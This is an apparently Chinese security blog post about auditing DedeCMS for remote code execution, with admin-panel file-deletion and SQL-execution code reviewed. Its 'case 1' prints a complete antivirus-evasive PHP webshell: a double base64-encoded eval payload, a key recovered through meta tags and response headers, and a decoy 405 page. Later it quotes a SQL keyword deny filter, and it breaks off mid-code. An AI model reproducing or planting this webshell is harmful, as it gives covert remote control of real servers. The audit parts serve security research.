意外搞出的免杀 Webshell 实战之织梦 CMS 到 RCE
前言
书接上文,在上次意外搞出的免杀 webshell 条件下,最近又去审计了一个织梦 CMS
最后成功利用免杀 webshell 实现了 RCE,下面是审计过程和审计思路
环境搭建
去官网下载源码,然后配合 phpstudy 搭建就 ok 了
这个比较简单,注意根目录需要放 upload 目录
注意默认的管理员目录是 dede,访问/dede/login.php

默认账户密码adminadmin

代码审计
这里我只找 RCE 漏洞
首先对于 php 的话,就是找 sink 点,或者在后台功能点去看,一般审计多了,看到功能点就大概能猜出有哪些漏洞
sink 点的话可以使用一个工具
Seay 源代码审计系统
https://github.com/f1tz/cnseay
虽然比较粗糙,误报很多,不过相比于语义分析的工具更能提升代码审计的技术
我们直接把源码丢进去就可以了

可以看到这个工具确实不太准确,因为 sink 点实在太多,不过熟练后,一眼就知道哪些不需要去管的
然后这里我只关注能够 RCE 的漏洞
找到之后没有什么技巧,就是回头看参数是否可以控制
下面举个例子
案例 1
比如这句话,一眼就感觉有漏洞,我们就需要去详细查看一下
<?php /*<meta name="9Rrdzo" content="a">*/
$password='UaUahObGMzTnBiMjVmYzNSaGNuUW9LVHNLUUhObGRGOTBhVzFsWDJ4cGJXbDBLREFwT3dwQVpYSnliM0pmY21Wd2aIzSjBhVzVuS0RBcE93cG1kVzVqZEdsdmJpQmxibU52WkdVb0pFUXNKRXNwZXdvZ0lDQWdabTl5S0NScFBUQTdKR2s4YzNSeWJHVnVLQ1JFS1Rza2FTc3JLU0I3Q2lBZ0lDQWdJQ0FnSkdNZ1BTQWtTMXNrYVNzeEpqRTFYVHNLSUNBZ0lDQWdJQ0FrUkZza2FWMGdQU0FrUkZza2FWMWVKR003Q2lBZ0lDQjlDaUFnSUNCeVpYUjFjbaTRnSkVRN0NuMEtKSEJoYzNNOUoyRW5Pd29rY0dGNWJHOWhaRTVoYldVOUozQmhlV3h2WVdRbk93b2thMlY1UFNjd1kyTXhOelZpT1dNd1pqRmlObUU0SnpzS2FXWWdLR2x6YzJWMEtDUmZVRTlUVkZza2NHRnpjMTBwS1hzS0lDQWdJQ1JrWVhSaFBXVnVZMjlrWlNoaVlYTmxOalJmWkdWamIyUmxLQ1JmVUU5VFZGc2tjR0Z6YzEwcExDUnJaWGtwT3dvZ0lDQWdhV1lnS0dsemMyVjBLQ1JmVTBWVFUwbFBUbHNrY0dGNWJHOWhaRTVoYldWZEtTbDdDaUFnSUNBZ0lDQWdKSEJoZVd4dllXUTlaVzVqYjJSbEtDUmZVMFZUVTBsUFRsc2tjR0Y1Ykc5aFpFNWhiV1ZkTENSclpYa3BPd29nSUNBZ0lDQWdJR2xtSUNoemRISndiM01vSkhCaGVXeHZZV1FzSW1kbGRFSmhjMmxqYzBsdVptOGlLVDA5UFdaaGJITmxLWHNLSUNBZ0lDQWdJQ0FnSUNBZ0pIQmhlV3h2WVdROVpXNWpiMlJsS0NSd1lYbHNiMkZrTENSclpYa3BPd29nSUNBZ0lDQWdJSDBLQ1FsbGRtRnNLQ1J3WVhsc2IyRmtLVHNLSUNBZ0lDQWdJQ0JsWTJodklITjFZbk4wY2lodFpEVW9KSEJoYzNNdUpHdGxlU2tzTUN3eE5pazdDaUFnSUNBZ0lDQWdaV05vYnlCaVlYTmxOalJmWlc1amIyUmxLR1Z1WTI5a1pTaEFjblZ1S0NSa1lYUmhLU3drYTJWNUtTazdDaUFnSUNBZ0lDQWdaV05vYnlCemRXSnpkSElvYldRMUtDUndZWE56TGlSclpYa3BMREUyS1RzS0lDQWdJSDFsYkhObGV3b2dJQ0FnSUNBZ0lHbG1JQ2h6ZEhKd2IzTW9KR1JoZEdFc0ltZGxkRUpoYzJsamMwbHVabThpS1NFOVBXWmhiSE5sS1hzS0lDQWdJQ0FnSUNBZ0lDQWdKRjlUUlZOVFNVOU9XeVJ3WVhsc2IyRmtUbUZ0WlYwOVpXNWpiMlJsS0NSa1lYUmhMQ1JyWlhrcE93b2dJQ0FnSUNBZ0lIMEtJQ0FnSUgwS2ZRPT0=';
$username = get_meta_tags(__FILE__)[$_GET['token']];
header("ddddddd:".$username);
$arr = apache_response_headers();
$template_source='';
foreach ($arr as $k => $v) {
if ($k[0] == 'd' && $k[5] == 'd') {
$template_source = str_replace($v,'',$password);
}}
$template_source = base64_decode($template_source);
$template_source = base64_decode($template_source);
$key = 'template_source';
$aes_decode[1]=$key;
@eval($aes_decode[1]);
$NkM1M7 = "..............";
if( count($_REQUEST) || file_get_contents("php://input") ){
}else{
header('Content-Type:text/html;charset=utf-8'); http_response_code(405);
echo base64_decode/**/($NkM1M7);
}我们可以看到这个参数其实是不能控制的
`aes_decode[1]就是 $key,等价于$template_source
$template_source = str_replace($v, '', $password);来源于$password
而其中 password 是固定的,所以不可以控制
案例 2

function DeleteFile($filename)
{
$filename = $this->baseDir.$this->activeDir."/$filename";
if(is_file($filename))
{
@unlink($filename); $t="文件";
}
else
{
$t = "目录";
if($this->allowDeleteDir==1)
{
$this->RmDirFiles($filename);
} else
{
// 完善用户体验,by:sumic
ShowMsg("系统禁止删除".$t."!","file_manage_main.php?activepath=".$this->activeDir);
exit;
}
}
ShowMsg("成功删除一个".$t."!","file_manage_main.php?activepath=".$this->activeDir);
return 0;
}
}是一个方法,这种需要寻找调用这个方法的地方
else if($fmdo=="del")
{
$fmm->DeleteFile($filename);
}这种是一个典型的控制器,根据 fmdo 来选择对应的操作
不过根据所在的文件的注释
/**
* 文件管理控制
*
* @version $Id: file_manage_control.php 1 8:48 2010年7月13日 $
* @package DedeCMS.Administrator
* @founder IT柏拉图, https://weibo.com/itprato
* @author DedeCMS团队
* @copyright Copyright (c) 2004 - 2024, 上海卓卓网络科技有限公司 (DesDev, Inc.)
* @license http://help.dedecms.com/usersguide/license.html
* @link http://www.dedecms.com
*/这里就能大概猜到了
是一个文件管理器,可能对应着删除按钮,我们尝试能不能目录穿越
不过这里是做了限制的

$filename = preg_replace("#([.]+[/]+)*#", "", $filename);移除 ../ 形式的路径穿越字符
而且下面还会直接移除..
所以考虑放弃
案例 3
定位到 sys_sql_query.php 文件了
发现可以执行 sql
if(preg_match("#^select #i", $sqlquery))
{
$dsql->SetQuery($sqlquery);
$dsql->Execute();
if($dsql->GetTotalRow()<=0)
{
echo "运行SQL:{$sqlquery},无返回记录!";
}
else
{
echo "运行SQL:{$sqlquery},共有".$dsql->GetTotalRow()."条记录,最大返回100条!";
}
$j = 0;
while($row = $dsql->GetArray())
{
$j++;
if($j > 100)
{
break;
}
echo "<hr size=1 width='100%'/>";
echo "记录:$j";
echo "<hr size=1 width='100%'/>";
foreach($row as $k=>$v)
{
echo "<font color='red'>{$k}:</font>{$v}<br/>\r\n";
}
}
exit();
}
if($querytype==2)
{
//普通的SQL语句
$sqlquery = str_replace("\r","",$sqlquery);
$sqls = preg_split("#;[ \t]{0,}\n#",$sqlquery);
$nerrCode = ""; $i=0;
foreach($sqls as $q)
{
$q = trim($q);
if($q=="")
{
continue;
}
$dsql->ExecuteNoneQuery($q);
$errCode = trim($dsql->GetError());
if($errCode=="")
{
$i++;
}
else
{
$nerrCode .= "执行: <font color='blue'>$q</font> 出错,错误提示:<font color='red'>".$errCode."</font><br>";
}
}
echo "成功执行{$i}个SQL语句!<br><br>";
echo $nerrCode;
}
else
{
$dsql->ExecuteNoneQuery($sqlquery);
$nerrCode = trim($dsql->GetError());
echo "成功执行1个SQL语句!<br><br>";
echo $nerrCode;
}
exit();
}而且 sql 语句是可以控制的
跟进执行的地方发现
function Execute($id="me", $sql='')
{
global $dsqli;
if(!$dsqli->isInit)
{
$this->Init($this->pconnect);
}
if($dsqli->isClose)
{
$this->Open(FALSE);
$dsqli->isClose = FALSE;
}
if(!empty($sql))
{
$this->SetQuery($sql);
}
//SQL语句安全检查
if($this->safeCheck)
{
CheckSql($this->queryString);
}
$t1 = ExecTime();
//var_dump($this->queryString);
$this->result[$id] = mysqli_query($this->linkID, $this->queryString);
//var_dump(mysql_error());
//查询性能测试
if($this->recordLog) {
$queryTime = ExecTime() - $t1;
$this->RecordLog($queryTime);
//echo $this->queryString."--{$queryTime}<hr />\r\n";
}
if($this->result[$id]===FALSE)
{
$this->DisplayError(mysqli_error($this->linkID)." <br />Error sql: <font color='red'>".$this->queryString."</font>");
}
}是有一个 checksql 的检查的
//SQL语句过滤程序,由80sec提供,这里作了适当的修改
if (!function_exists('CheckSql'))
{
function CheckSql($db_string,$querytype='select')
{
global $cfg_cookie_encode;
$clean = '';
$error='';
$old_pos = 0;
$pos = -1;
$log_file = DEDEINC.'/../data/'.md5($cfg_cookie_encode).'_safe.txt';
$userIP = GetIP();
$getUrl = GetCurUrl();
//如果是普通查询语句,直接过滤一些特殊语法
if($querytype=='select')
{
$notallow1 = "[^0-9a-z@\._-]{1,}(union|sleep|benchmark|load_file|outfile)[^0-9a-z@\.-]{1,}";
//$notallow2 = "--|/\*";
if(preg_match("/".$notallow1."/i", $db_string))
{
fputs(fopen($log_file,'a+'),"$userIP||$getUrl||$db_string||SelectBreak\r\n");
exit("<font size='5' color='red'>Safe Alert: Request Error step 1 !</font>");
}
}
//完整的SQL检查
while (TRUE)
{
$pos = strpos($db_string, '\'', $pos + 1);
if ($pos === FALSE)
{
break;
}
$clean .= substr($db_string, $old_pos, $pos - $old_pos);
while (TRUE)
{
$pos1 = strpos($db_string, '\'', $pos + 1);
$pos2 = strpos($db_string, '\\', $pos + 1);
if ($pos1 === FALSE)
{
break;
}
elseif ($pos2 == FALSE || $pos2 > $pos1)
{
$pos = $pos1;
break;
}
$pos = $pos2 + 1;
}
$clean .= '$s